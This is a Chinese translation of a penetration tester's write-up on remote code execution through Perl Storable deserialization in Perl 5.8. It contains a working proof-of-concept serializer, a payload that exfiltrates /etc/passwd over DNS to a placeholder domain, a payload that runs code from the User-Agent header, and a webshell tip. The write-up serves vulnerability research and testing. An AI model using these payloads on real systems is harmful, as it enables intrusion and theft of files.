from: http://www.agarri.fr/kom/archives/2016/02/06/deserialization_in_perl_v5_8/index.html
在做滲透測試的時候,我發現有個應用程序包含了form表單,其中有一個經過base64編碼的hidden屬性的參數名叫"state",包含了一些字符串和二進制數據。
#!bash
$ echo 'BAcIMTIzNDU2NzgECAgIAwMAAAAEAwAAAAAGAAAAcGFyYW1zCIIEAAAAc3RlcAQDAQAAAAiAHgAAAF9fZ2V0X3dvcmtmbG93X2J1c2luZXNzX3BhcmFtcwQAAABkYXRh' | base64 -d | hd
00000000 04 07 08 31 32 33 34 35 36 37 38 04 08 08 08 03 |...12345678.....|
00000010 03 00 00 00 04 03 00 00 00 00 06 00 00 00 70 61 |..............pa|
00000020 72 61 6d 73 08 82 04 00 00 00 73 74 65 70 04 03 |rams......step..|
00000030 01 00 00 00 08 80 1e 00 00 00 5f 5f 67 65 74 5f |..........__get_|
00000040 77 6f 72 6b 66 6c 6f 77 5f 62 75 73 69 6e 65 73 |workflow_busines|
00000050 73 5f 70 61 72 61 6d 73 04 00 00 00 64 61 74 61 |s_params....data|
我打開了burpsuite的Intruder,做"Character frobber" fuzzing測試。通過返回的結果,我發現了一些有趣的東西。如圖1:
頁面返回的結果里暴露了目標使用Perl和Storable 2.7,經過Google搜索,我知道Storable是Perl的一個模塊,是用來做數據序列化的。查看Storable的官方文檔我們可以看到有個很大的安全提示:
Some features of Storable can lead to security vulnerabilities if you accept Storable documents from untrusted sources. Most obviously, the optional (off by default) CODE reference serialization feature allows transfer of code to the deserializing process. Furthermore, any serialized object will cause Storable to helpfully load the module corresponding to the class of the object in the deserializing module. For manipulated module names, this can load almost arbitrary code. Finally, the deserialized object's destructors will be invoked when the objects get destroyed in the deserializing process. Maliciously crafted Storable documents may put such objects in the value of a hash key that is overridden by another key/value pair in the same hash, thus causing immediate destructor execution.
有關這個安全問題,youtube上有個叫“ Weaponizing Perl Serialization Flaws with MetaSploit”的視頻,作者還把相關代碼放在了github(https://github.com/lightsey/cve-2015-1592),有了前人的經驗,我想再應用到我的滲透項目里,應該不是太難:),但是經過一些測試后,我發現我不能按照前人的經驗來應付我現在的滲透場景,Storable默認使用跨平臺的nfreeze()函數來做序列化。例子代碼如下:
#!perl
#!/usr/bin/perl
use MIME::Base64 qw( encode_base64 );
use Storable qw( nfreeze );
{
package foobar;
sub STORABLE_freeze { return 1; }
}
# Serialize the data
my $data = bless { ignore => 'this' }, 'foobar';
my $frozen = nfreeze($data);
# Encode as Base64+URL and display
$frozen = encode_base64($frozen, '');
$frozen =~ s/\+/%2B/g;
$frozen =~ s/=/%3D/g;
print "$frozen\n";
當運行這段代碼的時候,報錯如下:
#!bash
No STORABLE_thaw defined for objects of class foobar (even after a "require foobar;") at ../../lib/Storable.pm (autosplit into ../../lib/auto/Storable/thaw.al) line 366, at /var/www/cgi-bin/victim line 29
For help, please send mail to the webmaster ([email protected]), giving this error message and the time and date of the error.
通過報錯信息,我認為通過控制"foorbar"字符,嘗試注入";",或許可以注入惡意的Perl代碼來運行:D,為了驗證我的想法,我通過https://metacpan.org/source/AMS/Storable-2.51/Storable.xs查看源碼,結果卻很失望。
#!perl
if (!Gv_AMG(stash)) {
const char *package = HvNAME_get(stash);
TRACEME(("No overloading defined for package %s", package));
TRACEME(("Going to load module '%s'", package));
load_module(PERL_LOADMOD_NOIMPORT, newSVpv(package, 0), Nullsv);
if (!Gv_AMG(stash)) {
CROAK(("Cannot restore overloading on %s(0x%"UVxf") (package %s) (even after a \"require %s;\")",
sv_reftype(sv, FALSE), PTR2UV(sv), package, package));
}
}
通過在Storable.xs源碼里搜索“No STORABLE_thaw defined for objects
”報錯信息,定位到了4388行的load_module(PERL_LOADMOD_NOIMPORT, newSVpv(classname, 0), Nullsv);
這里僅僅調用了load_module()
,并沒有我想要的requrie功能,但是視頻里不是這么說的,我又查看了2.15版本的Storable.xs源碼https://metacpan.org/source/AMS/Storable-2.15/Storable.xs,經過源碼對比,發現2.15版的Storable第4297行,多了 perl_eval_sv(psv, G_DISCARD);
#!perl
4295,4298c4387,4388
< TRACEME(("Going to require module '%s' with '%s'", classname, SvPVX(psv)));
<
< perl_eval_sv(psv, G_DISCARD);
< sv_free(psv);
---
> TRACEME(("Going to load module '%s'", classname));
> load_module(PERL_LOADMOD_NOIMPORT, newSVpv(classname, 0), Nullsv);
可以看到,object名(package名后面的字符)直接傳入了perl_eval_sv()
函數。Perl >=5.10以后會使用新的載入機制,所以不受該漏洞影響,而我的目標運行在Perl 5.8,5.8版的Perl在許多老的Linux發行版本(像 RHEL/CentOS 5)是默認安裝的,是受此漏洞影響的。這里我只要把我的payload放到object名后面就可以了,我可以載入"POSIX"模塊,然后通過eval()
來運行系統命令。但是這里需要注意的object名的長度是252字節,但也足夠我們寫payload了。假設我想通過dns來獲取返回信息,payload可以這樣構造:
#!perl
Socket;use MIME::Base64;sub x{$z=shift;for($i=0;$i<length($z);$i+=45){$x=encode_base64(substr($z,$i,$i+45),'');gethostbyname($x.".dom.tld");}} open(f,"/etc/passwd");while(<f>){x($_)}
payload可以構造的很短,比如通過User-Agent來獲取命令,然后放入POSIX模塊的eval()執行
#!perl
POSIX;eval($ENV{HTTP_USER_AGENT});exit;
這里還有一個技巧:如果目標的CGI是不顯錯的,我可以通過CGI:Carp的fatalsToBrowser
來把正常輸出和報錯信息都吐給瀏覽器,來實現一個簡單的webshell。
我這里提供了http://www.agarri.fr/docs/victim和http://www.agarri.fr/docs/PoC_thaw_perl58.pl用來做測試練習。
我的測試代碼如下:
#!perl
#!/usr/bin/perl
use MIME::Base64 qw( encode_base64 );
use Storable qw( nfreeze );
print Storable->VERSION."\n";
{
package foobar;POSIX;eval(system("uname"));exit;;;;;
sub STORABLE_freeze { return 1; }
}
# Serialize the data
my $data = bless { ignore => 'this' }, 'foobar;POSIX;eval(system("uname"));;;;;;;';
my $frozen = nfreeze($data);
print $frozen;
# Encode as Base64+URL and display
$frozen = encode_base64($frozen, '');
$frozen =~ s/\+/%2B/g;
$frozen =~ s/=/%3D/g;
print "BASE64:$frozen\n";
如果只是本地測試,可以使用perlbrew來切換perl5.8.9和kali 1.10自帶的perl 5.14.2,測試結果如圖2所示:
可以看到perl 5.8.9是受漏洞影響的,而perl 5.14.2沒有受影響。
接下來在測試下perl cgi,代碼就用作者提供的http://www.agarri.fr/docs/victim,作者提供的POC需要稍微改改,要不然獲取不到命令執行結果,測試結果如圖3所示:
感謝的人:
多年來一直輔導我的月總